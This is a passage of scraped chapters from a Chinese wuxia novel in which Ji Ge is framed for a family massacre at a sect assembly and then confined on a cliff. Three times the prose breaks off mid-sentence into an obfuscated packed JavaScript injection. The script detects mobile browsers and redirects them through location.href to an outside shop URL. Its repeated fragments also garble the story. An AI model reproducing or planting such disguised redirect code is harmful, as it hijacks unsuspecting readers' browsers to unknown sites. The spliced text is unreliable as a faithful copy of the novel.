略一沉吟,道:“此事尚且存在诸多疑点,还须后续细细详查。今日姑且让季某将他二人留下,待此案查清楚了,假以时日,定会给各位一个交代。如若犬子真的杀害了江家满门,那么要杀要剐,悉听尊便,一切遵照官府和江湖规矩行事,各位意下如何?” 喻理沉声道:“此等人命关天之事,季掌门不想着马上应对,竟然还想搁置一旁,真是令人发笑。” 说着轻轻冷笑,“季掌门,贵派不是官府衙门,也不是快意堂。你不是官老爷,也不是江湖刑探,你没有权利带走他二人。”说着微微加重了语气,“你如此避重就轻,袒护自己的儿子,不就是担心此案会影响你今日荣登江湖盟主之事吗?” “可你若不在此刻将此事解释清楚,如何能在众目睽睽之下,心安理得地坐上这盟主之位?又如何能让江湖人信服?毕竟眼下人人都知道,你的膝下可是藏了一个连杀三十二口无辜性命的宝贝儿子啊!” 说着哈哈大笑,声音远远地传送出去,整个磨镜台都能听到他洪钟般的笑声。在场诸人听他这么一说,脸上纷纷现出犹豫之色。 一时间季怀璋脸上阵青阵白,无言以对。 22. 祸起萧墙(2) 空气沉默了好久,季歌终于按捺不住,站起身,走上演武场,面向喻理道:“你说我去过江家,我承认,我是去过江家。可是我去的时候江家满门已经被灭了,我也不知道凶手是谁。可是你言辞凿凿,说是我灭了江家满门,我倒想问问,我这么做的动机是什么?” 喻理笑声止歇,看着他,道:“难道不是为了楼兰明珠?” 季歌身子剧烈一震,当场说不出话来。 季怀璋缓缓闭上双目。 喻理冷笑道:“那日在沐恩谷,在场可是有不少武林人士都知道,你答应了那老谷主,与霹雳帮的孟浪和张衡一道,取江家楼兰明珠,换取十字斩刀谱,在场众人可都亲眼目睹,还能有假?” “你……”季歌微微语塞。 喻理说着,转向闫无虚,微笑道:“闫掌门,在沐恩谷的时候,贵派五弟子闫让礼可是用一把兰陵剑,向那老谷主换取了一本大罗寒冰神掌掌法,方才令徒使的就是,这点……你总该没有异议吧?” “我……” 闫无虚唇角翕动,终是道:“我……我不知。”脸上胀得通红,心里却道:“他是如何知晓此事的?” 喻理微微一笑,似乎并不想向他深究此事,转向金木兰道:“金寨主,当时你也在场,你用自偃行门夺得的一把鸾凤刀换取了一部破空刀法,方才与问心剑派的家仆使的就是。” “只是显然你修习时间尚短,这套刀法的精髓尚未完全掌握,所以方才一套刀法使得乱七八糟,落于下风。闫掌门上了年纪,记性不好,你年纪轻轻的,总不会记得此事吧。” “你……” 金木兰脸上现出怒色来。 喻理一笑,望向宣仪,道:“师太,你门下的三位女弟子,当日可都参与了沐恩谷的密会,你不妨问问她们。”说着眼光在静姝和静慧身上一扫,道:“我记得她们可是从沐恩谷得了一部无极剑谱回去了。” 说到这里,突然皱起眉来,道:“诶?怎么只来了两人,那个乖喜欢害羞的小尼姑呢?她若是在,定然不会说谎。” 宣仪一听这话,就知她三人那日谎报了无极剑谱的来历,脸上登时现出怒色来。却没有径直看向静姝静慧,只是眼望着前方,阴沉着脸。静姝见状,心中羞愧,低下头来,不敢看她。静慧更是嘴唇憋得紫红,不敢多言。 喻理笑罢,看向仇正浓,道:“仇掌门,贵派大弟子毛一平,也就是刚才被武当小道士打败的后生,可也参与了密会,还领了本御寒心经,也不知给你说了没有。此事你不妨回去问问。” 仇正浓嘴唇颤抖,微微色变。 喻理说着,转向玄极。见他听到自己方才言语,脸上现出微妙之色,道:“玄极老儿,你也不必看别人乐子,你那徒儿吴长风当日也参加了谷中密会,还问那老谷主要了本金乌心经,据说可以调理七伤拳带来的危害。他方才使得那套七伤拳,伤及了内脏,想必是可以用这套心经加以调理的。” 玄极闻言,脸上现出震惊神色。 季歌正自纳闷何以喻理会对那日发生在沐恩谷的事和各种细节了如指掌,就见他嘿的一笑,看向自己,道:“江湖人皆知,那楼兰明珠是江平川江老爷子的命根子,是他花费了不少人力、物力和财力,从西域带回来的。” “你带着霹雳帮的人去抢他的命根子,他定然以死相护。你逼抢不下,便将其杀害,这一幕刚好被府中的家丁撞见,你担心事情败露,一不做二不休,干脆将江家满门三十二口尽数杀害,却不小心留下了这枚暗器。” 说着,食指轻叩七星镖的镖身,道:“这枚暗器杀伤力如此之大,你又是问心剑派的传人,想必用起来也会得心应手。杀几十口人而已,对你来说,不费事吧?” 季歌勃然大怒,喝道:“一派胡言!我只问你,你是何时去的江家,具体时间。” “五月二十七夜,亥时。” 喻理不假思索。 季歌转向那两名仆役,道:“你们又是何时见到我杀人的?” 那两名仆役对视一眼,道:“五月二十七,正午。” 异口同声。 “胡说!”季歌脸上肌肉微微颤抖,怒道:“我明明是五月二十八丑时才去的江家,你们如何会在五月二十七便见到我……” 话一出口,已觉失言。 “哦?”喻理微挑眉眼,道:“既然你自己承认去过江家,江家死者身上又出现了你们问心剑派多年禁用的飞镖。如今人证物证俱在,此事还有何争议?” 季歌彻底说不出话来了。 季怀璋一言不发地听着他与那三人对质,脸上肌肉微微颤抖。 正当此时,磨镜台的入口处突然传来一声高叫:“人不是季兄弟杀的,我们当时就在现场!” 众人闻声回头,却见一胖一瘦两名魁梧壮汉,迈开大步向演武场这边走来。二人目光坚定,边走边道:“人不是季兄弟杀的。” 众人见那矮胖子言语举止粗鲁,一身痞气,且穿着随意,并非参加如此盛会的标准着装,俱都皱起眉来。 人丛中很快有人问道:“这俩人谁啊?怎么穿成这样?” 有认识的人接话道:“是霹雳帮的两个副帮主,成天游手好闲,无所事事,到处瞎逛。总之,哪儿热闹就往哪儿凑。” 众人一听,俱都“嘻”的一声,脸上现出嘲讽之色。 季歌见到他二人,心道:“孟张两位兄弟终归还是来了。”遍布心头的阴霾仿佛在这一刻扫去了不少。 二人经过金木兰身旁,孟浪向金木兰瞅了一眼,阴阳怪气道:“一个被我们霹雳帮踩在脚下的无名小寨,也好意思带这么多人……” “王八羔子。” 金木兰咬牙切齿。 孟浪欲待还嘴,却见张衡将他的衣袖轻轻一扯,压低声音道:“二哥,正事要紧。”于是将金木兰横了一眼,与张衡并肩向演武场走去。 上了演武场,只见场上到处是比试过的痕迹,护栏被撞坏了几根,兵刃损毁成几段,掉在地上,铺在地上的红地毯也被腿脚勾破了不少。 孟浪心中不禁感到怪异,纳闷道:“这是已经比试完了?千赶万赶还是晚了?”说着啐了一口,道:“操他奶奶的,山太陡,爬不动。” 张衡幽幽叹道:“看来你我兄弟又错过了一场好戏……” 闻言,喻理微笑道:“没有,好戏才刚刚开始。” 孟浪睁大了眼,道:“什么好戏?” 喻理道:“不知二位如何称呼啊?” 孟浪没好气地看他一眼,道:“姓名你就没必要知道了,光知道我们霹雳帮响当当的名头就行了!” 喻理微微一怔,笑道:“原来是霹雳帮的两位副帮主,久仰久仰。” 顿了顿,又道:“我怎么记得今日的参会名单上没有二位,二位是怎么……” 说至此处,故意拖长了语调,等他作答。只见孟浪用下巴指了指季歌,道:“我兄弟,掌门之子,要什么请柬!”神色间甚是得意。 喻理一怔,笑道:“失敬失敬。” 季歌沉下脸来,道:“孟兄切勿多言。” 喻理笑道:“为何不能多言,此时正是需要二位兄弟作证的时候。” 说着,笑着看向孟浪,道:“想必这位便是孟浪孟副帮主吧?敢问两个月前,您是否和季歌季兄弟一道去过沐恩谷,从那老谷主手里领了一道任务,前往黔南江家取那楼兰明珠一用呢?” 张衡听他这话有诈,正待阻拦,已听孟浪心直口快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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只听季怀璋一声怒吼,箭步上前,单手钳住了季歌落下的那只手掌,用力向后一推,季歌一个趔趄,登时松开了喻理的肩头,脚下踉踉跄跄向后退去。 季怀璋趁势追逼,砰砰两掌拍在季歌的胸口上,季歌顿时一口血呕了出来。季怀璋顺势在他膝盖上一踢,季歌双腿一软,当即跪在地上,口中接连呕出血来。 “季儿……” 纪霜华见季怀璋动手,当即扑上前去,抱住季歌哭道:“不是季儿干的,老爷何至于下此狠手……” 季怀璋阴沉着张脸,脸上怒气横溢。 在场众人此时早已开始指指点点,以一种看热闹的心态围观这场闹剧。 季歌被季怀璋两掌拍得昏天黑地,脑中迷迷糊糊,仿若翻江倒海,隔了许久才缓过神来。挣开纪霜华,身体摇摇晃晃,一点一点膝行至季怀璋脚边,两手揪住他的衣角,仰头看着他,道:“父亲,不是孩儿干的,孩儿……发誓……”眼眶含泪,瞳仁中又是难过又是悲戚,目中尽是失望之色。 却见季怀璋对他看也不看,只道:“将少爷押往后山,拘于思过崖上。没我命令,不得下山。”沉重的语声中尽是威严之气。 说完,面向众人道:“犬子无状,差点伤了人,是我平素管教无方,让各位见笑了。” 顿了顿,“不过江家灭门之案我定会查个水落石出,给诸位一个交代。也请某些别有用心之人,把那张肮脏恶心的嘴脸收一收,别搬起石头砸了自己的脚。今日之事暂且作罢,我们来日再续,散会。” 说完,一拂袍袖,忿然离场。 唯剩喻理站在原地,发出阴恻恻的笑声。 23. 思过崖上 季歌被押到了思过崖上。 这是他第一次来思过崖,倒不是以前有多听话多乖巧,而是以前不曾有犯错的机会。 胸口的伤还在隐隐作痛。季怀璋那两掌虽然不重,却也力透掌心,拍得他心胆欲裂。待到押送的人彻底离开,季歌整个身子软了下去,委顿在地,胸口压不住的难受,难受到想哭。 思过崖在祝融峰上,是衡山最高之地。以往他被禁足在山上时,山川美景看遍,却从未想过来这祝融峰一看。一来懒得爬山,想着风景与别处无异。二来这不是什么好地方,只有犯了错的弟子才会被贬至此处,一待数月甚至经年。 他缓过神来,艰难地站起身来,向悬崖边走去。悬崖边上有一块石碣,他走上石碣,望着天边一片云海弥漫,夕阳透过厚厚的云层投射下来,变得不再强烈,只剩一片温柔的霞光,就像天上织就的一段锦布。他看了看天,又看了看脚下的断崖,云雾缭绕,深不见底。 “从这里跳下去,应该没有人能找到吧。” 他心里想着,一步一步捱向崖边。看着下面,身体摇摇欲坠。 “二哥!” 忽然,身后传来一个奶奶的声音。 季歌深吸口气:“怎么了?”转过身来。 发暗的天色下,只见季泽小小的身体正一路小跑,朝这边快速奔来,一边跑,一边气喘:“二哥,你别想不开,心里难受就哭出来,我会去求爹爹的。” 季歌勾唇一笑,“谁说我要跳下去了。”从石碣上下来。 季泽来到他身前,眨巴了眨巴两只水灵灵的大眼睛,“你方才不是要跳下去吗?”目中尽是疑惑。 季歌笑道:“是想来着。可是一听到你的声音,突然就不想了。” “啊?” 季泽目瞪口呆。 季歌看了他一眼,走近前来,抬手摸了下他的小脑袋,“逗你的,我是想感受一下,站在上面看底下,是什么感觉。” “什么感觉?” 季泽眨巴了眨巴两只大眼睛。 季歌道:“没什么感觉,就是头有点晕。” 季泽心里稍稍松快了些,可还是不放心,道:“你以后不要上去了,好危险的。” 季歌没有接话,转身在一块大石上坐下,看着季泽,道:“你怎么来了?” 季泽两只小手负在身后,低下头,没有吭气儿,做出一副忸怩的神情来。 季歌心觉好笑,道:“别藏了,我都看到了。” 季泽乜斜着眼瞧了他一眼,有些羞赧地从身后掏出两只小拳头来。张开拳,只见两只小小的肉掌掌心现出五颗糖来。 季歌捡起一颗,剥去糖纸,塞进嘴里。嚼了两下,道:“太软了,卡牙。” 季泽用大拇指拨拉了下手心,道:“有硬的。” 季歌勉力将粘满牙的软糖嚼下去,从石头上站了起来:“天黑了,快回去吧,回头找不见人,他又该着急了。到时候兴师动众,骂的又是我。” 季泽见他心情不好,怯生生地将糖果放到一旁的石头上,奶声奶气道:“好,那我改天再来看二哥,二哥在山上要好好的啊。” 季歌向他点了点头。季泽见他没有挽留自己的意思,转身向山下去了。 夜里不见星月,连一只鸟都没有,静寂非常。外面待着无聊,季歌索性进了山洞。 洞里的地上铺了张破破烂烂的草席。草席一头放了个竹子编的圆枕,另一头随意丢了张破兮兮的被子。被子发污发黑,不知多少人盖过,破开的缝隙还有里棉花露出来。 季歌看得恶心,走过去一手捏住被子的一角,一手捂住鼻子,将臭棉被从山洞一路拖出来,扔下崖去。扔完棉被,手上都有味儿了。寻思着上哪儿洗个手去,听到山洞后依稀传来水声,于是循着水声,寻了过去。 距离愈近,水声愈大。感觉到空气愈来愈湿,有水滴飞溅至脸上,他略略抬眼,只见黢黑的夜色当中,眼前隐约有一川白瀑竖挂崖前。瀑布水声哗哗,飞流直下,激得浪花到处飞溅。 季歌来到水边,蹲下身,把手洗干净了。双手兜起水,把嘴边的血渍冲洗掉,就着岸边洗了把脸。做完这些,他站起身,寻至水流的上游,弯下腰,捧起一抔水,这才喂进嘴里。 溪水冰冰凉凉,甘甜清冽,很是可口,尤其在这炎炎夏日。他忍不住多喝了两口,很快有了饱腹感。他站起身,望着眼前的白色瀑布,心想:“想不到二十年来走遍衡山,竟从未发现山上有这样一处神妙之所在,真乃人生憾事。” 摸着黑回到山洞,搭着洞壁摸到草席。季歌犹豫再三,终于还是躺了上去。毕竟这里也没有别的东西可以躺了。卧下没多久,便觉脖子吊着难受,这才想起少了什么,在黑暗里摸了半天,摸到那只圆枕,拨拉至脑袋下面,硬着头皮枕了上去。 舒服多了。 勉勉强强能入睡了。 只是这圆枕不知被多少人枕过,表面早被磨得光洁滑溜,夜里总是乱跑。一夜落枕好几次。刚迷迷糊糊有了些许困意,又跑了。 季歌心里烦躁,坐起身子,抬起腿,对着那破圆枕就是一脚。圆枕朝着洞口方向飞了出去,落至崖边,被崖边的杂草拦了一下,滚了下去。 “啊!” 山下传来一声痛叫,紧接着是一句骂声:“哪个杀千刀的,杀人不见血啊!” “孟浪?” 季歌心道。 站起身,走出山洞,来到崖边,朝下面望了两眼。只见黑黢黢的夜里除了黑,什么也看不到。季歌大声道:“孟兄张兄,是你们吗?” “季兄弟……” “我们……好像迷路了……” 崖下传来张衡的声音。 季歌哭笑不得,给他们指路:“东边有条栈道,过了栈道,从石阶爬上来,有点陡,夜里看不清,你们小心点。” 崖下没声音了。半晌,听到孟浪道:“这他妈谁扔的臭被子,挡住了路,难怪走错了。” 季歌:“……” 一炷香后,黑暗中隐隐现出一星微弱的火苗,两个人影上来了。一人矮矮胖胖,正是孟浪。另一人瘦瘦高高,正是张衡。 孟浪拿着火折子,在前面边走边道:“你们衡山建的这什么劳什子石阶,简直图财害命。” 张衡跟在身后,笑道:“咱哥俩有什么财可图的,命倒是有一条。” 季歌连忙迎了上去,道:“惭愧惭愧,辛苦二位哥哥费这么大劲上来看我,小弟感激不尽,感激不尽……” 孟浪语气夹生道:“那有啥的,就冲你让我们哥俩参加了这闻所未闻,见所未见的天下掌门人大会,在天下英雄前露了脸,你这兄弟,哥交定了!够义气!” 季歌心中感动,上前搂住了他,这可是他下山后交的第一个朋友。 孟浪被他搂得出不上气儿,用力挣开,道:“大男人一个,婆婆妈妈的干甚!”说着将手中一物扔进洞里的草席上。就着火光一看,正是方才踹下山的那只圆枕,季歌哭笑不得。 三人就地坐下,孟浪道:“季兄弟,你说说,那江家灭门案到底怎么回事儿?自打从沐恩谷出来,你一直和我们哥俩在一起,江家灭门的那天夜里,咱仨也是一块到的,中途从未有人离开,怎么会有人突然冒出来说江家是你灭的,竟然还有所谓的人证和物证,真他妈好笑。” 季歌叹了口气,道:“我也不知。不过,我隐隐感觉到,此事牵连甚广,恐怕没那么简单。你想,我父亲执掌问心剑派三十多年,在武林中一向资深望重,为江湖人士所钦佩景仰。放眼望去,谁对我父亲说话不是恭恭敬敬,敬爱有加,别说胆大妄为,公然指责了,就连一句高声都没有。” “那喻理身为一介江湖游侠,竟然无视我父亲的身份、地位和颜面,当着那么多人的面,公然构陷于我,肆意抹黑、诋毁衡山,对我父亲一点面子也不给,如此行事,肆无忌惮,从未见过。我想他背后一定有主使,且势力极大,谋划极深。” 张衡想了想,道:“也可能有另外一种情况,那就是那两个仆人并没有说谎,他二人看到的凶手确实是你,只不过是凶手假扮的你,意图嫁祸。” 季歌道:“不排除有这种可能。只是……” “如果真有人冒充了我的身份,在我表示极力否认后,喻理对其中的猫腻应该会有所觉察,正常人的做法难道不是认真考虑我的说辞,与我父亲沟通其中的细节和纰漏,共同揪出真凶么?何以言辞凿凿,一口咬定便是我干的,还不惜为此引出了沐恩谷,将青衣派、雪淞派、四方宫、玉琨派和金刀寨私自参与沐恩谷密会的事抖落出去,完全不怕得罪人,此举无异于鱼死网破了。” 张衡点了点头,道:“你说的没错,那喻理确实有故意栽赃的嫌疑,只怕江家那两个家仆也是提前找好的,故意在群豪面前一唱一和,演给大家看。” 季歌道:“没错。至少我是这么想的。” 孟浪道:“那他为何要这么做?这么做对他有何好处?难道他和季兄弟素日有什么仇怨?” 季歌叹气道:“我从未下过山,根本不认识他,能有什么仇怨。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张衡想了想,道:“是这个道理。” 季歌道:“张兄,喻理对那日发生在沐恩谷的事清清楚楚,仿佛亲眼所见,属实匪夷所思。他什么身份,什么路数,你可清楚?” 张衡道:“今日之前,从未见过。不知底细,也不知武功路数。下午散会后,我向身边人打听了一下,谁也不认识此人,也都不知江湖上还有这号人物。我后来想了一下,此人自称游侠,想必居无定所,只怕日后不好找了。” 季歌叹气道:“看来为今之计,只能从沐恩谷入手了。” 说到这里,想起一事,问道:“对了张兄,我记得那日我和甜儿离开后,你们去黔南县衙报了官,官府可有说如何处理此事?” 不等张衡接话,孟浪“呸”的一声,骂道:“这帮狗娘养的,跟着我二人到了江家,几十号人在凶案现场勘察了一个上午,最后什么说法也没有,只怀疑是仇杀。走的时候,把门落了锁,贴了封条,江家几十具尸体全都抬走了,说是要运回县衙找仵作验尸,还说等有消息了再找我二人问话。” “这马上一个月过去了,也没见有谁来找我们哥俩。我跟你说,这些狗官衙门,办事效率极低,江家这么大的案子,没个三年五载是不会有结果的。你指望官府,还不如自己查呢!” 季歌扶了扶额,道:“孟兄讲话还真是不避讳啊。” 孟浪道:“季兄弟你是不知道,早年我专和衙门打交道,穷的叮当响还在衙门干过辅差。那帮孙子,自己啥也不干,整日就知道吃酒打牌,活儿都推给我们这些辅差,使唤得跟狗似的。整天风里来雨里去,吃苦受累的,最后好处没讨着,气都够喝两壶的。干了一个月就把这帮逼孙子看透了,从此再也不跟官府的人打交道了,草他奶奶的!” 季歌见他又动气了,转移话题道:“当初小弟答应二位兄长的十字斩还没有下文,我打算二探沐恩谷。若是二位兄弟近来无事,也愿意不辞辛苦,继续追查此事,还请容我先稳住父亲和母亲,七日后我们在山下会合。” 孟浪一听,惊道:“季兄弟,你……你要越狱?” 季歌道:“我受此不白之冤,不弄清楚,这道坎儿是过不去了。” 张衡想了想,道:“可以,季兄弟有难,做兄弟的岂能袖手旁观?就这么定了。”顿了顿,“七日后我们在哪里集合,什么时辰?” 季歌想了想,道:“那便晌午吧。衡山脚下东南方向,距离山门十里地外,有一家顺水鱼庄,鱼肉鲜美,我请二位哥哥吃鱼。” 孟浪一听到时有鱼吃,立时两眼冒出精光来,兴奋道:“吃鱼好啊,我爱吃鱼。” 季歌笑道:“孟兄,之前去江家的路上,我可是在你身上花了不少银子。这次去沐恩谷,指不定还要花费多少,我看你那小木板板都记不下了,就甭记了,反正你也还不起。”语带戏谑之意。 孟浪嘿嘿两笑,不好意思道:“不记了不记了。” 24. 思过崖上(2) 孟浪张衡陪季歌又闲聊了一阵子,见思过崖上实在没有地方坐卧,待着难受,又担心被山上的守卫发现,便与季歌告辞,相携下山。待他二人走了,季歌回到山洞,稀里糊涂将就了一晚。 次日他还未睁眼便闻到了一阵子饭香。他翻身坐了起来,看到洞口的地上不知何时已放置了一个白净的托盘。托盘上搁了碗热粥,两个馒头,两个菜碟,一荤一素,均冒着热气。 他走过去,端起热粥就是一通狼吞虎咽。味道再熟悉不过了,是娘做的。他昨晚没有进食,腹中肚饿难忍,只是片刻便将托盘扫荡一空。 吃完饭,他闲坐片刻,实在感到无聊,便去了后山。看到后山的断崖处果然挂了一川瀑布,飞流激湍,水势极大。瀑布下围出了一个小池塘,水质澄澈,五颜六色的鱼儿在里面自由来去,皆若空游无所依。周围草木郁郁葱葱,空气极为湿润。从昨夜想到今天,还是对昨日发生掌门人大会上的事百思不解,索性靠着大树坐下,打起坐来。 “昨晚睡得可好?” 忽然,身后传来一个妇人的声音。季歌回过头,看到一名衣着素净的中年妇人握着把剑走了过来。他当即起身,低着头,委屈道:“娘……” 纪霜华走过来,睨了他一眼,绷着脸道:“昨晚我已经劝过你父亲了,他没那么生气了,你不用紧张。” “我本来就没有紧张,是他冤枉我。” 季歌小声嘟囔。 “你呀……” 纪霜华又是心疼又是不忍地看着他,温声道:“等你父亲气儿消了,我劝他放你下山。” 季歌嘟囔道:“他那个老古董,等气儿消了,还不得个一年半载。” 纪霜华心里沉了沉,道:“昨晚你爹爹听说你下山后把佩剑折了,身上又受了伤,嘴上不说,心里可是比谁都疼。他希望你在思过崖的这段时间不要荒废了武学,好生修习,精进本事,把衡山剑法练熟了,以后行走江湖,不要再被人欺负了。” 季歌听她话中意思,似乎父亲同意他下山了,立时心生喜悦,高兴道:“我以后是不是可以经常出去玩了?” 纪霜华手指在他脸上一刮,羞道:“粘点毛就是猴儿,一点都没学了你爹爹的成熟稳重。”说着将手中的黑剑递了过去,道:“珍藏了几十年的乌兰,一直没舍得用,拿着吧。” 季歌看了她一眼,接过乌兰,握在手里,只觉沉甸甸的。 这把乌兰通体乌黑,剑身雕满花纹,上面盘踞了一条龙,自剑尾一直延伸至剑柄。龙头昂扬,两只龙眼分列剑柄的两侧,分别钻以祖母绿和红珊瑚。整条龙的图样和线条雕刻得惟妙惟肖,呼之欲出。 “真是把好剑。” 季歌细细摩挲着乌兰的图纹,心里说不出的喜欢。 纪霜华看着他道:“你这次出去受了不少伤,也吃了不少苦,你爹爹想着一直把你关在山上也不是办法,和我一琢磨,想着等关禁闭结束,还是放你下山多去走走,多加历练,如此以后也不会总是吃亏。” 季歌听她这么说,心里更增喜悦。低着头,摩挲了好半天乌兰,想起一事,道:“娘,药没了。” 纪霜华道:“几时没的?” 季歌道:“五六天前。” 纪霜华一听,沉下脸来,生气道:“说过多少次了,药每三天都得服一次。你的头疾一直好不了,万一中间断了,又犯了怎么办?” 说着从怀里掏出一只白瓷瓶来,递给他,道:“以后不够了提前说,不要临了才说,万一出什么事呢。”语气是埋怨的,眼神却是慈爱的。 季歌撇了撇嘴,从她手中接过白瓷瓶,一副不情不愿。 送走纪霜华,季歌在瀑布下洗了个冷水澡,休息了一会儿,便手握乌兰,展开了衡山三十六路回风落雁剑法。这套剑法是问心剑派的基础剑招,他十三岁便已全数掌握。之所以反复的练,是因为从小练到大,对这套剑招比较熟稔,练的时候心情会比较好。 从中午一直练至黄昏。待到新鲜劲儿过去,枯燥劲儿上来,他开始摸索有点难度的九州剑法,也就是在沐恩谷使出的那招“一剑光寒”。 这套九州剑法系季怀璋四十岁时所创,一共有十二式,每式有四招变化,难度中等,招式繁多,不好记忆,且动作繁复,很容易出错。季歌从十六岁起便开始修习,历时四年,却只练到了第五式,屡屡想要突破第六式,却总是力不从心。 明明秘籍中所绘的图案就印在脑子里,可是一出招就错。就算勉勉强强比划出动作,也难得精髓,只是简单、绵软无力地模仿罢了。 他越练越是气馁,为了让自己心里好受点,便又回去重复练前二十招。虽然前二十招的招式已经尽数掌握,可是练来练去,始终感觉无法将内力精准地运至剑招上。每一招一式,即便已使出浑身解数,却还是感到绵软无力,内力无法力透剑刃,剑气就更别提了。 不过与乌兰的配合还算不错。乌兰既沉且刚,一套回风落雁剑招接连使出,剑气如虹,势不可挡。澎湃的剑气汹涌而出,竟能将对面山崖上的草木尽数削断,威猛无比。 回想起那日在沐恩谷,拦下藏书楼的弩箭时,“一剑光寒”才运至第八招,白羽便断成了几截。而今用乌兰练到了二十招,哪怕掌心被震得开裂出血,乌兰依然稳稳当当,剑刃光洁如新。可见两把剑的威力,不可同日而语。 练得累了,季歌停下来,手指轻抚剑刃,心道:“好一把乌兰!” 休息了半晌,又开始挑战第二十一招。乌兰在手,运力于臂,一声清啸,一套动作连环使出,劈波斩浪,剑影残留,纵横捭阖。练至中途,余光突然扫见一个深色的人影,从远处飞速掠来,掌影翻飞,直向他面门逼近。 季歌当即回剑刺出。对方侧身避过,微曲了食指,运气于指节,在乌兰的剑刃大力叩击两下,季歌顿觉一股排山倒海之力,透过剑刃震入肺腑,禁不住手臂发麻,手掌脱力,乌兰飞了出去。剑身没入对面的崖壁,兀自震颤不已。 来人见他剑已脱手,快速进逼,“砰砰”两掌,拍在了他的胸口。季歌方才已被来人内力震得肝胆欲裂,此时又捱两掌,体内真气登时乱窜,气血翻腾,喉咙里生出一股腥甜之气来。他勉力往下压了压,却发现越压越是难受,猛然张口,一大口血喷了出来。 “你倒不如把我杀了。” 季歌单膝跪地,捂着剧痛的胸口,对来人看也不看。 “这么多年,才只到二十招,真是不学无术,愚不可及。” 来人语声严厉。 “季泽有天赋,你倒是教他去。” 季歌捂着剧痛的胸口,艰难地站起身,一瘸一拐地向山洞里走去。 “站住。” 来人喝道。 “身体不适,恕难从命。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468430|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 季歌脚下不停。 “昨天的事,你就没有什么想和我说的吗?” “人不是我杀的,你就是杀了我,也是这一句。” 季歌头也不回。 “为父何时说过是你杀了人。” 听闻这句,季歌蓦地停了下来。背对着他,双肩微微耸动。 “你连为父为何生气都不知,只会一味的赌气,真让我失望。” 季歌转过身来,看向了他,道:“不知父亲什么意思。” 季怀璋道:“我问你,那喻理质问你,构陷于你,你只需听着就好,为何要跳出来与他对质?我季玉的儿子就这么沉不住气?” 季歌面色一滞,道:“他胡搅蛮缠,无耻之极,孩儿听不下去,必得反击回去才能解气。” 季怀璋道:“反击回去又能如何,还不是上了人家的套?若不是你反问他杀人的动机,他如何能继续下套,将你活活套牢?” 季歌眸光一黯。 季怀璋叹了叹气,道:“季儿啊,你年轻气盛,没下过山,不知江湖险恶,你要知道,话是说多错多。那喻理就算难缠,有为父在场,他能把你怎么样?他又敢把你怎么样?” 季歌说不上话来。 季怀璋道:“你要知道,一个人的话一旦多了,纰漏自然也就多了。等到他编不下去,破绽也漏得差不多了,到时候抓住他话里的漏洞予以反击,才是再好不过。可你偏偏做了最坏的选择,抛出问题,授人以柄。你说说,当时的形势,为父若不及时出手,这场闹剧该如何收场?” 季歌攥紧了拳头,道:“我就是生气,就是愤怒,管它怎么收场。” 听他这么说,仿佛又回到了昨日羞愤难当的场面。 季怀璋冷道:“你生气?你当为父不气?这可是天下掌门人大会啊,这可是在衡山啊!他是当着天下英雄的面,利用你,把为父的脸往地上踩啊,你当他是冲着谁来的?” “他表面上构陷的是你,可桩桩件件,哪一件不是冲着为父来的?为父都巍然不动,看着他演戏,你有何沉不住气的?” “我……” 季歌说不上话来。 季怀璋语重心长道:“咱们问心剑派冠绝武林,你只看到为父独步武林,受到万人景仰爱戴,却没留意暗中有多少人盯着我们衡山,想要找出我们的差错和纰漏来。也没看到有多少人想把为父从这个位子上拉下来,让为父身败名裂,” “有人起高楼,就有人大厦倾。一个人站得愈高,周身的光芒便愈是耀眼,便愈容易刺痛到一部分人。他们眼红,他们嫉妒,他们见不得你享受这份举世无双的荣光,便会想尽一切办法抹黑、造谣和伤害。” “一个人的成就愈大,他肩上背负的责任就愈重,眼前和身后面临的潜在风险和威胁就愈多。这个江湖,没有谁是只用享受荣耀,不用背负责任的,也没有谁是只用享受身份和地位的尊崇,而不用面对身边人的仇视和嫉恨的。一体两面,甚至多面,这便是江湖,这便是人生。” 说着他缓缓看向季歌,道:“你以为为父今日被推举为江湖盟主的人选,是一件光宗耀祖,值得庆贺的大喜事,却没看到在场欢呼雀跃的一张张笑脸背后,有多少人是另一副阴暗面孔,从始至终觊觎着那把江湖盟主的宝座,甚至有多少人想将为父从那个位置上拉下去,不论用何种手段。这些你都想过没有?” 25. 思过崖上(3) 季歌听他语声严肃,表情凝重,这才发觉推选江湖盟主之位远没有自己想象的那般简单纯粹,并非谁得票多,谁便众望所归,其间不知掺杂了多少勾心斗角和难以调和的矛盾,这才推选出一位普遍能孚众望的掌门来。当下觉得自己昨日在大会上被喻理构陷后的表现过于气急败坏,甚至可以说是幼稚可笑,简直把父亲和问心剑派的脸都丢尽了,心里顿时生出一股强烈的羞愧来,低下头来道:“父亲,我错了。” 只觉无地自容。 季怀璋深吸口气,道:“知错能改,善莫大焉。你放心,为父会处理好此事。用不了多久,就能弄清其中端倪,还江家以公道,还问心剑派以清白,也能洗清你身上的冤屈。这件事,以后你就不用插手了,安心在思过崖上思过便是,好好反省自己。希望经历这件事,你能有所成长,心智变得更加坚强。” 季歌点头道:“孩儿知道了,孩儿一定会好好练功,好好习武,好好反思自己的过错,用心悔过,用心改正,争取不让父亲失望。” 到这时,季怀璋一张起始阴沉晦暗的脸才稍稍缓和,露出了些许和颜悦色。他一只手搭在季歌的肩上,温和道:“伤得不要紧吧。” 季歌道:“死不了。” 浮白的脸上勉强挤出一丝笑来。 季怀璋朗声长笑,说道:“我就说嘛,我季玉的儿子,哪有那么脆弱!”说着按了按他的肩,道:“你坐下,为父给你输送点真气。” 